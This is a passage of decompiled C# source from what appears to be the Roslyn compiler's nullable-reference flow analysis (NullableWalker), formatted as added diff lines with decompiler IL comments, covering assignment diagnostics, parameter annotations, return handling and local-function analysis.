//IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Invalid comparison between Unknown and I4 + if (containingSlot > 0 && !IsSlotMember(containingSlot, symbol)) + { + return -1; + } + if (symbol is ParameterSymbol key && symbol.ContainingSymbol is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor && synthesizedPrimaryConstructor.GetCapturedParameters().TryGetValue(key, out FieldSymbol value)) + { + MethodSymbol methodSymbol = _symbol as MethodSymbol; + while (true) + { + MethodKind? val = methodSymbol?.MethodKind; + bool flag; + if (val.HasValue) + { + MethodKind valueOrDefault = val.GetValueOrDefault(); + if ((int)valueOrDefault == 0 || (int)valueOrDefault == 17) + { + flag = true; + goto IL_009c; + } + } + flag = false; + goto IL_009c; + IL_009c: + if (!flag) + { + break; + } + methodSymbol = methodSymbol.ContainingSymbol as MethodSymbol; + } + if ((object)methodSymbol != null && methodSymbol.TryGetThisParameter(out var thisParameter) && (object)thisParameter?.ContainingSymbol.ContainingSymbol == synthesizedPrimaryConstructor.ContainingSymbol) + { + int orCreateSlot = GetOrCreateSlot(thisParameter); + if (orCreateSlot >= 0) + { + symbol = value; + containingSlot = orCreateSlot; + } + } + } + return base.GetOrCreateSlot(symbol, containingSlot, forceSlotEvenIfEmpty, createIfMissing); + } + + private void VisitAndUnsplitAll(ImmutableArray nodes) where T : BoundNode + { + if (!nodes.IsDefault) + { + ImmutableArray.Enumerator enumerator = nodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + Visit(current); + Unsplit(); + } + } + } + + private void VisitWithoutDiagnostics(BoundNode? node) + { + bool disableDiagnostics = _disableDiagnostics; + _disableDiagnostics = true; + Visit(node); + _disableDiagnostics = disableDiagnostics; + } + + protected override void VisitRvalue(BoundExpression? node, bool isKnownToBeAnLvalue = false) + { + Visit(node); + VisitRvalueEpilogue(node); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private void VisitRvalueEpilogue(BoundExpression? node) + { + Unsplit(); + UseRvalueOnly(node); + } + + private TypeWithState VisitRvalueWithState(BoundExpression? node) + { + VisitRvalue(node); + return ResultType; + } + + private TypeWithAnnotations VisitLvalueWithAnnotations(BoundExpression node) + { + VisitLValue(node); + Unsplit(); + return LvalueResultType; + } + + private static object GetTypeAsDiagnosticArgument(TypeSymbol? typeOpt) + { + return ((object)typeOpt) ?? ((object)""); + } + + private static object GetParameterAsDiagnosticArgument(ParameterSymbol? parameterOpt) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Expected O, but got Unknown + if ((object)parameterOpt != null) + { + return (object)new FormattedSymbol((ISymbolInternal)(object)parameterOpt, SymbolDisplayFormat.ShortFormat); + } + return ""; + } + + private static object GetContainingSymbolAsDiagnosticArgument(ParameterSymbol? parameterOpt) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Expected O, but got Unknown + Symbol symbol = parameterOpt?.ContainingSymbol; + if ((object)symbol != null) + { + return (object)new FormattedSymbol((ISymbolInternal)(object)symbol, SymbolDisplayFormat.MinimallyQualifiedFormat); + } + return ""; + } + + private static bool ShouldReportNullableAssignment(TypeWithAnnotations type, NullableFlowState state) + { + if (!type.HasType || type.Type.IsValueType) + { + return false; + } + NullableAnnotation nullableAnnotation = type.NullableAnnotation; + if (nullableAnnotation - 1 <= NullableAnnotation.Oblivious) + { + return false; + } + switch (state) + { + case NullableFlowState.NotNull: + return false; + case NullableFlowState.MaybeNull: + if (type.Type.IsTypeParameterDisallowingAnnotationInCSharp8() && (!(type.Type is TypeParameterSymbol { IsNotNullable: var isNotNullable }) || !(isNotNullable ?? false))) + { + return false; + } + break; + } + return true; + } + + private void ReportNullableAssignmentIfNecessary(BoundExpression? value, TypeWithAnnotations targetType, TypeWithState valueType, bool useLegacyWarnings, AssignmentKind assignmentKind = AssignmentKind.Assignment, ParameterSymbol? parameterOpt = null, Location? location = null) + { + if ((targetType.HasType && !targetType.Type.Equals(valueType.Type, (TypeCompareKind)63)) || value == null || (value.WasCompilerGenerated && assignmentKind == AssignmentKind.Argument && value.Kind != BoundKind.InterpolatedStringArgumentPlaceholder) || !ShouldReportNullableAssignment(targetType, valueType.State)) + { + return; + } + if (location == null) + { + location = value.Syntax.GetLocation(); + } + if (SkipReferenceConversions(value).IsSuppressed) + { + return; + } + ConstantValue? constantValueOpt = value.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.IsNull && !useLegacyWarnings) + { + ReportDiagnostic((assignmentKind == AssignmentKind.Return) ? ErrorCode.WRN_NullReferenceReturn : ErrorCode.WRN_NullAsNonNullable, location); + } + else if (assignmentKind == AssignmentKind.Argument) + { + ReportDiagnostic(ErrorCode.WRN_NullReferenceArgument, location, GetParameterAsDiagnosticArgument(parameterOpt), GetContainingSymbolAsDiagnosticArgument(parameterOpt)); + LearnFromNonNullTest(value, ref State); + } + else if (useLegacyWarnings) + { + if (!isMaybeDefaultValue(valueType) || allowUnconstrainedTypeParameterAnnotations(compilation)) + { + ReportNonSafetyDiagnostic(location); + } + } + else + { + ReportDiagnostic((assignmentKind == AssignmentKind.Return) ? ErrorCode.WRN_NullReferenceReturn : ErrorCode.WRN_NullReferenceAssignment, location); + } + static bool allowUnconstrainedTypeParameterAnnotations(CSharpCompilation compilation) + { + return MessageID.IDS_FeatureDefaultTypeParameterConstraint.RequiredVersion() <= compilation.LanguageVersion; + } + static bool isMaybeDefaultValue(TypeWithState typeWithState) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + TypeSymbol? type = typeWithState.Type; + if ((object)type != null && (int)type.TypeKind == 11) + { + return typeWithState.State == NullableFlowState.MaybeDefault; + } + return false; + } + } + + internal static bool AreParameterAnnotationsCompatible(RefKind refKind, TypeWithAnnotations overriddenType, FlowAnalysisAnnotations overriddenAnnotations, TypeWithAnnotations overridingType, FlowAnalysisAnnotations overridingAnnotations, bool forRef = false) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Invalid comparison between Unknown and I4 + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Invalid comparison between Unknown and I4 + if ((int)refKind == 1) + { + if (AreParameterAnnotationsCompatible((RefKind)0, overriddenType, overriddenAnnotations, overridingType, overridingAnnotations, forRef: true)) + { + return AreParameterAnnotationsCompatible((RefKind)2, overriddenType, overriddenAnnotations, overridingType, overridingAnnotations); + } + return false; + } + if (((int)refKind == 0 || refKind - 3 <= 1) ? true : false) + { + if (isBadAssignment(GetParameterState(overriddenType, overriddenAnnotations), overridingType, overridingAnnotations)) + { + return false; + } + bool flag = (overridingAnnotations & FlowAnalysisAnnotations.NotNull) == FlowAnalysisAnnotations.NotNull; + if ((overriddenAnnotations & FlowAnalysisAnnotations.NotNull) == FlowAnalysisAnnotations.NotNull && !flag && !forRef) + { + return false; + } + bool flag2 = (overridingAnnotations & FlowAnalysisAnnotations.MaybeNull) == FlowAnalysisAnnotations.MaybeNull; + if ((overriddenAnnotations & FlowAnalysisAnnotations.MaybeNull) == FlowAnalysisAnnotations.MaybeNull && !flag2 && !forRef) + { + return false; + } + } + if ((int)refKind == 2 && (!canAssignOutputValueWhen(sense: true) || !canAssignOutputValueWhen(sense: false))) + { + return false; + } + return true; + bool canAssignOutputValueWhen(bool sense) + { + if (isBadAssignment(ApplyUnconditionalAnnotations(overridingType.ToTypeWithState(), makeUnconditionalAnnotation(overridingAnnotations, sense)), destinationAnnotations: ToInwardAnnotations(makeUnconditionalAnnotation(overriddenAnnotations, sense)), destinationType: overriddenType)) + { + return false; + } + return true; + } + static bool isBadAssignment(TypeWithState valueState, TypeWithAnnotations destinationType, FlowAnalysisAnnotations destinationAnnotations) + { + if (ShouldReportNullableAssignment(ApplyLValueAnnotations(destinationType, destinationAnnotations), valueState.State)) + { + return true; + } + if (IsDisallowedNullAssignment(valueState, destinationAnnotations)) + { + return true; + } + return false; + } + static FlowAnalysisAnnotations makeUnconditionalAnnotation(FlowAnalysisAnnotations annotations, bool sense) + { + if (sense) + { + return makeUnconditionalAnnotationCore(makeUnconditionalAnnotationCore(annotations, FlowAnalysisAnnotations.NotNullWhenTrue, FlowAnalysisAnnotations.NotNull), FlowAnalysisAnnotations.MaybeNullWhenTrue, FlowAnalysisAnnotations.MaybeNull); + } + return makeUnconditionalAnnotationCore(makeUnconditionalAnnotationCore(annotations, FlowAnalysisAnnotations.NotNullWhenFalse, FlowAnalysisAnnotations.NotNull), FlowAnalysisAnnotations.MaybeNullWhenFalse, FlowAnalysisAnnotations.MaybeNull); + } + static FlowAnalysisAnnotations makeUnconditionalAnnotationCore(FlowAnalysisAnnotations annotations, FlowAnalysisAnnotations conditionalAnnotation, FlowAnalysisAnnotations replacementAnnotation) + { + if ((annotations & conditionalAnnotation) != FlowAnalysisAnnotations.None) + { + return annotations | replacementAnnotation; + } + return annotations & ~replacementAnnotation; + } + } + + private static bool IsDefaultValue(BoundExpression expr) + { + switch (expr.Kind) + { + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)expr; + ConversionKind kind = boundConversion.Conversion.Kind; + if (kind == ConversionKind.DefaultLiteral || kind == ConversionKind.NullLiteral) + { + return IsDefaultValue(boundConversion.Operand); + } + return false; + } + case BoundKind.DefaultLiteral: + case BoundKind.DefaultExpression: + return true; + default: + return false; + } + } + + private void ReportNullabilityMismatchInAssignment(SyntaxNode syntaxNode, object sourceType, object destinationType) + { + ReportDiagnostic(ErrorCode.WRN_NullabilityMismatchInAssignment, syntaxNode, sourceType, destinationType); + } + + private void ReportNullabilityMismatchInAssignment(Location location, object sourceType, object destinationType) + { + ReportDiagnostic(ErrorCode.WRN_NullabilityMismatchInAssignment, location, sourceType, destinationType); + } + + private void TrackNullableStateForAssignment(BoundExpression? valueOpt, TypeWithAnnotations targetType, int targetSlot, TypeWithState valueType, int valueSlot = -1) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Invalid comparison between Unknown and I4 + if (!State.Reachable || !targetType.HasType || targetSlot <= 0 || targetSlot == valueSlot) + { + return; + } + NullableFlowState state = valueType.State; + SetStateAndTrackForFinally(ref State, targetSlot, state); + InheritDefaultState(targetType.Type, targetSlot); + if (!areEquivalentTypes(targetType, valueType)) + { + return; + } + if (targetType.Type.IsReferenceType || (int)targetType.TypeKind == 11 || targetType.IsNullableType()) + { + if (valueSlot > 0) + { + InheritNullableStateOfTrackableType(targetSlot, valueSlot, targetSlot); + } + } + else if (EmptyStructTypeCache.IsTrackableStructType(targetType.Type)) + { + InheritNullableStateOfTrackableStruct(targetType.Type, targetSlot, valueSlot, valueOpt != null && IsDefaultValue(valueOpt), targetSlot); + } + static bool areEquivalentTypes(TypeWithAnnotations target, TypeWithState assignedValue) + { + return target.Type.Equals(assignedValue.Type, (TypeCompareKind)63); + } + } + + private void ReportNonSafetyDiagnostic(Location location) + { + ReportDiagnostic(ErrorCode.WRN_ConvertingNullableToNonNullable, location); + } + + private void ReportDiagnostic(ErrorCode errorCode, SyntaxNode syntaxNode, params object[] arguments) + { + ReportDiagnostic(errorCode, syntaxNode.GetLocation(), arguments); + } + + private void ReportDiagnostic(ErrorCode errorCode, Location location, params object[] arguments) + { + if (IsReachable() && !_disableDiagnostics) + { + base.Diagnostics.Add(errorCode, location, arguments); + } + } + + private void InheritNullableStateOfTrackableStruct(TypeSymbol targetType, int targetSlot, int valueSlot, bool isDefaultValue, int skipSlot = -1) + { + if (skipSlot < 0) + { + skipSlot = targetSlot; + } + if (!isDefaultValue && valueSlot > 0) + { + InheritNullableStateOfTrackableType(targetSlot, valueSlot, skipSlot); + return; + } + foreach (FieldSymbol structInstanceField in _emptyStructTypeCache.GetStructInstanceFields(targetType)) + { + InheritNullableStateOfMember(targetSlot, valueSlot, structInstanceField, isDefaultValue, skipSlot); + } + } + + private bool IsSlotMember(int slot, Symbol possibleMember) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol containingType = possibleMember.ContainingType; + TypeSymbol source = NominalSlotType(slot); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + Conversions conversions = _conversions.WithNullability(includeNullability: false); + if (!conversions.HasIdentityOrImplicitReferenceConversion(source, containingType, ref useSiteInfo)) + { + return conversions.HasBoxingConversion(source, containingType, ref useSiteInfo); + } + return true; + } + + private void InheritNullableStateOfMember(int targetContainerSlot, int valueContainerSlot, Symbol member, bool isDefaultValue, int skipSlot) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + if (!IsSlotMember(targetContainerSlot, member)) + { + return; + } + TypeWithAnnotations typeOrReturnType = member.GetTypeOrReturnType(); + if (typeOrReturnType.Type.IsReferenceType || (int)typeOrReturnType.TypeKind == 11 || typeOrReturnType.IsNullableType()) + { + int orCreateSlot = GetOrCreateSlot(member, targetContainerSlot); + if (orCreateSlot <= 0) + { + return; + } + NullableFlowState newState = (isDefaultValue ? NullableFlowState.MaybeNull : typeOrReturnType.ToTypeWithState().State); + int num = -1; + if (valueContainerSlot > 0) + { + num = VariableSlot(member, valueContainerSlot); + if (num == skipSlot) + { + return; + } + newState = ((num > 0) ? GetState(ref State, num) : NullableFlowState.NotNull); + } + SetStateAndTrackForFinally(ref State, orCreateSlot, newState); + if (num > 0) + { + InheritNullableStateOfTrackableType(orCreateSlot, num, skipSlot); + } + } + else + { + if (!EmptyStructTypeCache.IsTrackableStructType(typeOrReturnType.Type)) + { + return; + } + int orCreateSlot2 = GetOrCreateSlot(member, targetContainerSlot); + if (orCreateSlot2 > 0) + { + int num2 = ((valueContainerSlot > 0) ? GetOrCreateSlot(member, valueContainerSlot) : (-1)); + if (num2 != skipSlot) + { + InheritNullableStateOfTrackableStruct(typeOrReturnType.Type, orCreateSlot2, num2, isDefaultValue, skipSlot); + } + } + } + } + + private TypeSymbol NominalSlotType(int slot) + { + return _variables[slot].Symbol.GetTypeOrReturnType().Type; + } + + private void SetStateAndTrackForFinally(ref LocalState state, int slot, NullableFlowState newState) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + SetState(ref state, slot, newState); + if (newState != NullableFlowState.NotNull && NonMonotonicState.HasValue) + { + LocalState state2 = NonMonotonicState.Value; + if (state2.HasVariable(slot)) + { + SetState(ref state2, slot, newState.Join(GetState(ref state2, slot)), useNotNullsAsDefault: true); + NonMonotonicState = Optional.op_Implicit(state2); + } + } + } + + protected override void JoinTryBlockState(ref LocalState self, ref LocalState other) + { + LocalState other2 = other.GetStateForVariables(self.Id); + Join(ref self, ref other2); + } + + private void InheritDefaultState(TypeSymbol targetType, int targetSlot) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder<(LocalDataFlowPass.VariableIdentifier, int)> instance = ArrayBuilder<(LocalDataFlowPass.VariableIdentifier, int)>.GetInstance(); + _variables.GetMembers(instance, targetSlot); + Enumerator<(LocalDataFlowPass.VariableIdentifier, int)> enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + (LocalDataFlowPass.VariableIdentifier, int) current = enumerator.Current; + LocalDataFlowPass.VariableIdentifier item = current.Item1; + int item2 = current.Item2; + Symbol symbol = AsMemberOfType(targetType, item.Symbol); + SetStateAndTrackForFinally(ref State, item2, GetDefaultState(symbol)); + InheritDefaultState(symbol.GetTypeOrReturnType().Type, item2); + } + instance.Free(); + } + + private NullableFlowState GetDefaultState(Symbol symbol) + { + return ApplyUnconditionalAnnotations(symbol.GetTypeOrReturnType().ToTypeWithState(), GetRValueAnnotations(symbol)).State; + } + + private void InheritNullableStateOfTrackableType(int targetSlot, int valueSlot, int skipSlot) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder<(LocalDataFlowPass.VariableIdentifier, int)> instance = ArrayBuilder<(LocalDataFlowPass.VariableIdentifier, int)>.GetInstance(); + _variables.GetMembers(instance, valueSlot); + Enumerator<(LocalDataFlowPass.VariableIdentifier, int)> enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalDataFlowPass.VariableIdentifier item = enumerator.Current.Item1; + Symbol symbol = item.Symbol; + InheritNullableStateOfMember(targetSlot, valueSlot, symbol, isDefaultValue: false, skipSlot); + } + instance.Free(); + } + + protected override LocalState TopState() + { + LocalState result = LocalState.ReachableState(_variables); + result.PopulateAll(this); + return result; + } + + protected override LocalState UnreachableState() + { + return LocalState.UnreachableState(_variables); + } + + protected override LocalState ReachableBottomState() + { + return LocalState.ReachableStateWithNotNulls(_variables); + } + + private void EnterParameters() + { + if (!(CurrentSymbol is MethodSymbol methodSymbol)) + { + return; + } + if (methodSymbol is SynthesizedPrimaryConstructor) + { + if (_hasInitialState) + { + return; + } + } + else if (methodSymbol.IsConstructor() && !_hasInitialState) + { + return; + } + MethodSymbol methodSymbol2 = methodSymbol.PartialDefinitionPart ?? methodSymbol; + ImmutableArray parameters = methodSymbol2.Parameters; + ImmutableArray parameters2 = (_useDelegateInvokeParameterTypes ? _delegateInvokeMethod : methodSymbol2).Parameters; + LocalState other = State.Clone(); + for (int i = 0; i < parameters.Length; i++) + { + ParameterSymbol parameterSymbol = parameters[i]; + TypeWithAnnotations parameterType = ((i >= parameters2.Length) ? parameterSymbol.TypeWithAnnotations : parameters2[i].TypeWithAnnotations); + EnterParameter(parameterSymbol, parameterType); + } + Join(ref State, ref other); + } + + private void EnterParameter(ParameterSymbol parameter, TypeWithAnnotations parameterType) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + _variables.SetType(parameter, parameterType); + if ((int)parameter.RefKind == 2) + { + return; + } + int orCreateSlot = GetOrCreateSlot(parameter); + if (orCreateSlot > 0) + { + NullableFlowState state = GetParameterState(parameterType, parameter.FlowAnalysisAnnotations).State; + SetState(ref State, orCreateSlot, state); + if (EmptyStructTypeCache.IsTrackableStructType(parameterType.Type)) + { + TypeSymbol type = parameterType.Type; + ConstantValue? explicitDefaultConstantValue = parameter.ExplicitDefaultConstantValue; + InheritNullableStateOfTrackableStruct(type, orCreateSlot, -1, explicitDefaultConstantValue != null && explicitDefaultConstantValue.IsNull); + } + } + } + + public override BoundNode? VisitParameterEqualsValue(BoundParameterEqualsValue equalsValue) + { + ParameterSymbol parameter = equalsValue.Parameter; + FlowAnalysisAnnotations parameterAnnotations = GetParameterAnnotations(parameter); + TypeWithAnnotations targetTypeOpt = ApplyLValueAnnotations(parameter.TypeWithAnnotations, parameterAnnotations); + TypeWithState state = VisitOptionalImplicitConversion(equalsValue.Value, targetTypeOpt, useLegacyWarnings: false, trackMembers: false, AssignmentKind.Assignment); + Unsplit(); + CheckDisallowedNullAssignment(state, parameterAnnotations, equalsValue.Value.Syntax); + return null; + } + + internal static TypeWithState GetParameterState(TypeWithAnnotations parameterType, FlowAnalysisAnnotations parameterAnnotations) + { + if ((parameterAnnotations & FlowAnalysisAnnotations.AllowNull) != FlowAnalysisAnnotations.None) + { + return TypeWithState.Create(parameterType.Type, NullableFlowState.MaybeDefault); + } + if ((parameterAnnotations & FlowAnalysisAnnotations.DisallowNull) != FlowAnalysisAnnotations.None) + { + return TypeWithState.Create(parameterType.Type, NullableFlowState.NotNull); + } + return parameterType.ToTypeWithState(); + } + + public sealed override BoundNode? VisitReturnStatement(BoundReturnStatement node) + { + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Invalid comparison between Unknown and I4 + BoundExpression expressionOpt = node.ExpressionOpt; + if (expressionOpt == null) + { + EnforceDoesNotReturn(node.Syntax); + base.PendingBranches.Add(new AbstractFlowPass.PendingBranch(node, State, null)); + SetUnreachable(); + return null; + } + if (_returnTypesOpt == null && TryGetReturnType(out var type, out var annotations)) + { + if ((int)node.RefKind == 0 && (int)type.Type.SpecialType == 7) + { + Visit(expressionOpt); + } + else + { + TypeWithState state = (((int)node.RefKind != 0) ? VisitRefExpression(expressionOpt, type) : VisitOptionalImplicitConversion(expressionOpt, type, useLegacyWarnings: false, trackMembers: false, AssignmentKind.Return)); + CheckDisallowedNullAssignment(state, ToInwardAnnotations(annotations), node.Syntax, expressionOpt); + } + } + else + { + TypeWithState typeWithState = VisitRvalueWithState(expressionOpt); + if (_returnTypesOpt != null) + { + _returnTypesOpt.Add((node, typeWithState.ToTypeWithAnnotations(compilation))); + } + } + EnforceDoesNotReturn(node.Syntax); + if (IsConditionalState) + { + LocalState self = StateWhenTrue.Clone(); + Join(ref self, ref StateWhenFalse); + base.PendingBranches.Add(new AbstractFlowPass.PendingBranch(node, self, null, IsConditionalState, StateWhenTrue, StateWhenFalse)); + } + else + { + base.PendingBranches.Add(new AbstractFlowPass.PendingBranch(node, State, null)); + } + Unsplit(); + if (CurrentSymbol is MethodSymbol methodSymbol) + { + EnforceNotNullIfNotNull(node.Syntax, State, methodSymbol.Parameters, methodSymbol.ReturnNotNullIfParameterNotNull, ResultType.State, null); + } + SetUnreachable(); + return null; + } + + private TypeWithState VisitRefExpression(BoundExpression expr, TypeWithAnnotations destinationType) + { + Visit(expr); + TypeWithState resultType = ResultType; + if (!expr.IsSuppressed && RemoveConversion(expr, includeExplicitConversions: false).expression.Kind != BoundKind.ThrowExpression) + { + TypeWithAnnotations lvalueResultType = LvalueResultType; + if (IsNullabilityMismatch(lvalueResultType, destinationType)) + { + ReportNullabilityMismatchInAssignment(expr.Syntax, lvalueResultType, destinationType); + } + else + { + ReportNullableAssignmentIfNecessary(expr, destinationType, resultType, useLegacyWarnings: false); + } + } + return resultType; + } + + private bool TryGetReturnType(out TypeWithAnnotations type, out FlowAnalysisAnnotations annotations) + { + if (!(CurrentSymbol is MethodSymbol methodSymbol)) + { + type = default(TypeWithAnnotations); + annotations = FlowAnalysisAnnotations.None; + return false; + } + TypeWithAnnotations returnTypeWithAnnotations = (_useDelegateInvokeReturnType ? _delegateInvokeMethod : methodSymbol).ReturnTypeWithAnnotations; + if (returnTypeWithAnnotations.IsVoidType()) + { + type = default(TypeWithAnnotations); + annotations = FlowAnalysisAnnotations.None; + return false; + } + if (!methodSymbol.IsAsync) + { + annotations = methodSymbol.ReturnTypeFlowAnalysisAnnotations; + type = ApplyUnconditionalAnnotations(returnTypeWithAnnotations, annotations); + return true; + } + if (methodSymbol.IsAsyncEffectivelyReturningGenericTask(compilation)) + { + type = ((NamedTypeSymbol)returnTypeWithAnnotations.Type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Single(); + annotations = FlowAnalysisAnnotations.None; + return true; + } + type = default(TypeWithAnnotations); + annotations = FlowAnalysisAnnotations.None; + return false; + } + + public override BoundNode? VisitLocal(BoundLocal node) + { + LocalSymbol localSymbol = node.LocalSymbol; + if (localSymbol is SourceLocalSymbol { IsVar: not false }) + { + SyntaxNode forbiddenZone = localSymbol.ForbiddenZone; + if (forbiddenZone != null && forbiddenZone.Contains(node.Syntax)) + { + SetResultType(node, TypeWithState.ForType(node.Type)); + return null; + } + } + int orCreateSlot = GetOrCreateSlot(localSymbol); + TypeWithAnnotations lvalueType = GetDeclaredLocalResult(localSymbol); + if (!node.Type.Equals(lvalueType.Type, (TypeCompareKind)14)) + { + lvalueType = TypeWithAnnotations.Create(node.Type, lvalueType.NullableAnnotation); + } + SetResult(node, GetAdjustedResult(lvalueType.ToTypeWithState(), orCreateSlot), lvalueType); + SplitIfBooleanConstant(node); + return null; + } + + public override BoundNode? VisitBlock(BoundBlock node) + { + DeclareLocals(node.Locals); + VisitStatementsWithLocalFunctions(node); + return null; + } + + private void VisitStatementsWithLocalFunctions(BoundBlock block) + { + if (!TrackingRegions && !block.LocalFunctions.IsDefaultOrEmpty) + { + ImmutableArray.Enumerator enumerator = block.Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current = enumerator.Current; + if (current.Kind != BoundKind.LocalFunctionStatement) + { + VisitStatement(current); + } + } + enumerator = block.Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is BoundLocalFunctionStatement node) + { + TakeIncrementalSnapshot(node); + VisitLocalFunctionStatement(node); + } + } + } + else + { + ImmutableArray.Enumerator enumerator = block.Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current2 = enumerator.Current; + VisitStatement(current2); + } + } + } + + public override BoundNode? VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + LocalFunctionSymbol localFunc = node.Symbol; + LocalFunctionState orCreateLocalFuncUsages = GetOrCreateLocalFuncUsages(localFunc); + LocalState state = TopState(); + LocalState startingState = orCreateLocalFuncUsages.StartingState; + startingState.ForEach(delegate(int slot, Variables variables) + { + if (Symbol.IsCaptured(variables[variables.RootSlot(slot)].Symbol, localFunc)) + { + SetState(ref state, slot, GetState(ref startingState, slot)); + } + }, _variables); + orCreateLocalFuncUsages.Visited = true; + AnalyzeLocalFunctionOrLambda(node, localFunc, state, null, useDelegateInvokeParameterTypes: false, useDelegateInvokeReturnType: false); + SetInvalidResult(); + return null; + } + + private Variables GetOrCreateNestedFunctionVariables(Variables container, MethodSymbol lambdaOrLocalFunction) + { + if (_nestedFunctionVariables == null) + { + _nestedFunctionVariables = PooledDictionary.GetInstance(); + } + if (!((Dictionary)(object)_nestedFunctionVariables).TryGetValue(lambdaOrLocalFunction, out Variables value)) + { + value = container.CreateNestedMethodScope(lambdaOrLocalFunction); + ((Dictionary)(object)_nestedFunctionVariables).Add(lambdaOrLocalFunction, value); + } + return value; + } + + private void AnalyzeLocalFunctionOrLambda(IBoundLambdaOrFunction lambdaOrFunction, MethodSymbol lambdaOrFunctionSymbol, LocalState state, MethodSymbol? delegateInvokeMethod, bool useDelegateInvokeParameterTypes, bool useDelegateInvokeReturnType) + { + Symbol symbol = _symbol; + _symbol = lambdaOrFunctionSymbol; + Symbol currentSymbol = CurrentSymbol; + CurrentSymbol = lambdaOrFunctionSymbol; + MethodSymbol delegateInvokeMethod2 = _delegateInvokeMethod; + _delegateInvokeMethod = delegateInvokeMethod; + bool useDelegateInvokeParameterTypes2 = _useDelegateInvokeParameterTypes; + _useDelegateInvokeParameterTypes = useDelegateInvokeParameterTypes; + bool useDelegateInvokeReturnType2 = _useDelegateInvokeReturnType; + _useDelegateInvokeReturnType = useDelegateInvokeReturnType; + ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)> returnTypesOpt = _returnTypesOpt; + _returnTypesOpt = null; + LocalState state2 = State; + _variables = GetOrCreateNestedFunctionVariables(_variables, lambdaOrFunctionSymbol); + State = state.CreateNestedMethodState(_variables); + int previousSlot = _snapshotBuilderOpt?.EnterNewWalker(lambdaOrFunctionSymbol) ?? (-1); + try + { + AbstractFlowPass.SavedPending oldPending = SavePending(); + EnterParameters(); + AbstractFlowPass.SavedPending oldPending2 = SavePending(); + if (lambdaOrFunctionSymbol.IsIterator) + { + base.PendingBranches.Add(new AbstractFlowPass.PendingBranch(null, State, null)); + } + VisitAlways(lambdaOrFunction.Body); + EnforceDoesNotReturn(null); + EnforceParameterNotNullOnExit(null, State); + RestorePending(oldPending2); + ImmutableArray.PendingBranch>.Enumerator enumerator = RemoveReturns().GetEnumerator(); + while (enumerator.MoveNext()) + { + AbstractFlowPass.PendingBranch current = enumerator.Current; + if (current.Branch is BoundReturnStatement boundReturnStatement) + { + EnforceParameterNotNullOnExit(boundReturnStatement.Syntax, current.State); + EnforceNotNullWhenForPendingReturn(current, boundReturnStatement); + } + } + RestorePending(oldPending); + } + finally + { + _snapshotBuilderOpt?.ExitWalker(SaveSharedState(), previousSlot); + } + _variables = _variables.Container; + State = state2; + _returnTypesOpt = returnTypesOpt; + _useDelegateInvokeReturnType = useDelegateInvokeReturnType2; + _useDelegateInvokeParameterTypes = useDelegateInvokeParameterTypes2; + _delegateInvokeMethod = delegateInvokeMethod2; + CurrentSymbol = currentSymbol; + _symbol = symbol; + } + + protected override void VisitLocalFunctionUse(LocalFunctionSymbol symbol, LocalFunctionState localFunctionState, SyntaxNode syntax, bool isCall) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.cs", 3172); + } + + private void VisitLocalFunctionUse(LocalFunctionSymbol symbol) + { + LocalFunctionState orCreateLocalFuncUsages = GetOrCreateLocalFuncUsages(symbol); + LocalState other = State.GetStateForVariables(orCreateLocalFuncUsages.StartingState.Id); + if (Join(ref orCreateLocalFuncUsages.StartingState, ref other) && orCreateLocalFuncUsages.Visited) + { + stateChangedAfterUse = true; + } + } + + public override BoundNode? VisitDoStatement(BoundDoStatement node) + { + DeclareLocals(node.Locals); + return base.VisitDoStatement(node); + } + + public override BoundNode? VisitWhileStatement(BoundWhileStatement node) + { + DeclareLocals(node.Locals); + return base.VisitWhileStatement(node); + } + + public override BoundNode? VisitWithExpression(BoundWithExpression withExpr) + { + BoundExpression receiver = withExpr.Receiver; + VisitRvalue(receiver); + CheckPossibleNullReceiver(receiver); + TypeWithAnnotations typeWithAnnotations = ResultType.ToTypeWithAnnotations(compilation); + TypeWithState typeWithState = ApplyUnconditionalAnnotations(typeWithAnnotations.ToTypeWithState(), 